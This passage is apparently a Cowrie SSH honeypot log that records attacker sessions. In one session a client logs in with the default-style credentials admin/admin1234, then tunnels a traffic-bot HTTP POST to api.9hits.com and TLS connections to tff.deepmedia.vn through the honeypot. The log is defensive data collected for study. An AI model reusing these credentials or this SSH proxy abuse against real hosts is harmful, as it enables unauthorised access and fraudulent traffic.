{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:00.120285Z","src_ip":"173.208.188.210","session":"659d6b6cf766","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:00.320662Z","src_ip":"173.208.188.210","session":"659d6b6cf766","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:02.074245Z","src_ip":"173.208.188.210","session":"659d6b6cf766","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:10.338783Z","session":"659d6b6cf766","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:10.373228Z","src_ip":"173.208.188.210","session":"659d6b6cf766","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Mobile/17A860 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VCNWNDB1JWo3bD9TdHhYSw%3D%3D6l5pZR29XNoNqOWe7MeMVl4Uq5HkUNv4CrBgZFrsUc7vxV2%2B8%2FfC4RJY71jwpJq%2F4grcejvPei%2B3NFsqI3YDIFSYSEpUkTA7SOeOjpabPwoDexpzt790SSeAJFNLPAwth7S1D6UfGjEvA4dJ5X7Oure7Hzuv7H26EnWNR8Q%2BlH9PTg%2Fpolei1M8OAmb01pU63nVHyQhoo7qg06T%2FYLmSzUlgTmprFlL3W2ktIkVdsv%2FwTXki23PQRTH4V6dcw2I9LCuWy3z5fkkRIUMf%2BLZ7ETX4FfKsGqMjo%2BYpZCx%2B5eHYZHfi8jCQpRh3XRZyKYwGxxt2yB%2F0CmpH2hN1%2BVZXKibWmf%2B6Etonh0kODP3Dg2gCbb5ew3oAmRiStXWFfqSv%2BeVdhqTANJSgXqgx6MwpphLctWzSL%2BQIa4TleFi7E0OxBvxCryhYAcpKtr8AquCbbDAj5qj6rGNR%2FEF1RvE9xg9WJiDZ9a1HtPwFeOsOT757ZROysef9tyNs%2Fit%2FkEDvdAklopIflUmguuIZwB1jCpeIfaUkfem8O2ZFj0T3zEjdJ9bt4lyYe69mPOSF0T9mwtTu6qax9p%2F7yJrNmaf3FzSqVJau3Xj2UXYTbkbOqpTI5B%2BX9C3qgDaRnyfFZSoEODpJmtNCKJAj%2FCMJVUem0mKGZvD3lD3%2BsyRbidBij44xNGssbuNekYBdAPNx5MhtsPX%2Brk0sep8sFILDoJ320tH%2FcbPIiKuB7z4sn515ZwMP3zuHbF0mBnTVgRnQRFsoCtD80SFSmGRVV23PZitUmJr2bmRLZIEp3jtEU9nmuuK1NxtiYOMv%2B4WvJOJUkdPmTe6R1b%2F%2Bmpt%2FwE3lg97icbz6iDJd%2FMSKT%2BVKUGtnVG205RvNqb50tx7325DEimDx7367htCpVtlAD2J3VCvckZVx0qFnCFfZ284Z3EI%2BURIVlkUpQ1UH%2FT1ikFyDB7EmwgY348xKhug9DehG6Dr7dnOffVMk53cYGGmaHIxW3Fx8ODM%2Bh0KJkl632KY60A3AKy%2FWli9lzqcC0kc75Nd1DH2E6p%2BcpeZbk8299oo17lk%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Mobile/17A860 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VCNWNDB1JWo3bD9TdHhYSw%3D%3D6l5pZR29XNoNqOWe7MeMVl4Uq5HkUNv4CrBgZFrsUc7vxV2%2B8%2FfC4RJY71jwpJq%2F4grcejvPei%2B3NFsqI3YDIFSYSEpUkTA7SOeOjpabPwoDexpzt790SSeAJFNLPAwth7S1D6UfGjEvA4dJ5X7Oure7Hzuv7H26EnWNR8Q%2BlH9PTg%2Fpolei1M8OAmb01pU63nVHyQhoo7qg06T%2FYLmSzUlgTmprFlL3W2ktIkVdsv%2FwTXki23PQRTH4V6dcw2I9LCuWy3z5fkkRIUMf%2BLZ7ETX4FfKsGqMjo%2BYpZCx%2B5eHYZHfi8jCQpRh3XRZyKYwGxxt2yB%2F0CmpH2hN1%2BVZXKibWmf%2B6Etonh0kODP3Dg2gCbb5ew3oAmRiStXWFfqSv%2BeVdhqTANJSgXqgx6MwpphLctWzSL%2BQIa4TleFi7E0OxBvxCryhYAcpKtr8AquCbbDAj5qj6rGNR%2FEF1RvE9xg9WJiDZ9a1HtPwFeOsOT757ZROysef9tyNs%2Fit%2FkEDvdAklopIflUmguuIZwB1jCpeIfaUkfem8O2ZFj0T3zEjdJ9bt4lyYe69mPOSF0T9mwtTu6qax9p%2F7yJrNmaf3FzSqVJau3Xj2UXYTbkbOqpTI5B%2BX9C3qgDaRnyfFZSoEODpJmtNCKJAj%2FCMJVUem0mKGZvD3lD3%2BsyRbidBij44xNGssbuNekYBdAPNx5MhtsPX%2Brk0sep8sFILDoJ320tH%2FcbPIiKuB7z4sn515ZwMP3zuHbF0mBnTVgRnQRFsoCtD80SFSmGRVV23PZitUmJr2bmRLZIEp3jtEU9nmuuK1NxtiYOMv%2B4WvJOJUkdPmTe6R1b%2F%2Bmpt%2FwE3lg97icbz6iDJd%2FMSKT%2BVKUGtnVG205RvNqb50tx7325DEimDx7367htCpVtlAD2J3VCvckZVx0qFnCFfZ284Z3EI%2BURIVlkUpQ1UH%2FT1ikFyDB7EmwgY348xKhug9DehG6Dr7dnOffVMk53cYGGmaHIxW3Fx8ODM%2Bh0KJkl632KY60A3AKy%2FWli9lzqcC0kc75Nd1DH2E6p%2BcpeZbk8299oo17lk%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:10.376222Z","src_ip":"173.208.188.210","session":"659d6b6cf766","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:18.574352Z","session":"659d6b6cf766","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:18.615493Z","src_ip":"173.208.188.210","session":"659d6b6cf766","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaf\\xe1\\xf9\\xc2G%\\x06\\xbc\\xf8T\\x97\\x87\\xab\\xb5S6\\xb0XQ\\xfe_\\t\\x8d$\\x04@\\xd5\\x00\\x9b\\x00J\\x1c DQoF6\\xd7\\x90o\\xc8$\\xae\\x9a\\x00`\\n6u\\x98\\xe2&\\xe4=\\xf5\\x0cN\\nG+e^\\x0c\\x91\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf5\\xa6\\xe2\\x03\\x12D\\xbd'Eas\\xc0@H`.\\x9b\\x94\\x9aw\\xb7rO\\xb4\\xf4\\xd0Ui\\x98\\xa6)\\x05\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaf\\xe1\\xf9\\xc2G%\\x06\\xbc\\xf8T\\x97\\x87\\xab\\xb5S6\\xb0XQ\\xfe_\\t\\x8d$\\x04@\\xd5\\x00\\x9b\\x00J\\x1c DQoF6\\xd7\\x90o\\xc8$\\xae\\x9a\\x00`\\n6u\\x98\\xe2&\\xe4=\\xf5\\x0cN\\nG+e^\\x0c\\x91\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf5\\xa6\\xe2\\x03\\x12D\\xbd'Eas\\xc0@H`.\\x9b\\x94\\x9aw\\xb7rO\\xb4\\xf4\\xd0Ui\\x98\\xa6)\\x05\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:18.618491Z","src_ip":"173.208.188.210","session":"659d6b6cf766","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:18.657671Z","session":"659d6b6cf766","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:18.691835Z","src_ip":"173.208.188.210","session":"659d6b6cf766","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbf\\xb8\\xed\\x1e\\x1c\\x8b}\\xadV\\xf6\\xa2\\x1a\\xcc\\x9b\\xfb\\xd9\\xe4\\x08;G\\x88\\xab\\xa4\\xa5j\\xb4\\xf8\\xba\\x0e[\\xc9\\xb4 %#\\xd34\\xe4\\x90\\xb4\\x9a\\x91\\xe0\\xe4\\xccL\\x1e\\xd3\\x08\\xf8k\\xcf\\xc1\\x15\\x1e\\xbe%G\\x1c\\x9a\\x8cp\\xdaYE\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd6\\xbb\\xe2\\x8f5+n\\x0e\\xd9\\xcf\\x03\\x18\\x87l\\xe2\\xc8>+\\'\\x19K\\xec\\x1dZ\\x93(U\\xbb\\x80\\xa8\\x93W\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbf\\xb8\\xed\\x1e\\x1c\\x8b}\\xadV\\xf6\\xa2\\x1a\\xcc\\x9b\\xfb\\xd9\\xe4\\x08;G\\x88\\xab\\xa4\\xa5j\\xb4\\xf8\\xba\\x0e[\\xc9\\xb4 %#\\xd34\\xe4\\x90\\xb4\\x9a\\x91\\xe0\\xe4\\xccL\\x1e\\xd3\\x08\\xf8k\\xcf\\xc1\\x15\\x1e\\xbe%G\\x1c\\x9a\\x8cp\\xdaYE\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd6\\xbb\\xe2\\x8f5+n\\x0e\\xd9\\xcf\\x03\\x18\\x87l\\xe2\\xc8>+\\'\\x19K\\xec\\x1dZ\\x93(U\\xbb\\x80\\xa8\\x93W\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:18.694905Z","src_ip":"173.208.188.210","session":"659d6b6cf766","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":37228,"dst_ip":"159.203.135.109","dst_port":22,"session":"2026397425fa","protocol":"ssh","message":"New connection: 2.99.213.222:37228 (159.203.135.109:22) [session: 2026397425fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:22.490781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:22.494349Z","src_ip":"2.99.213.222","session":"2026397425fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 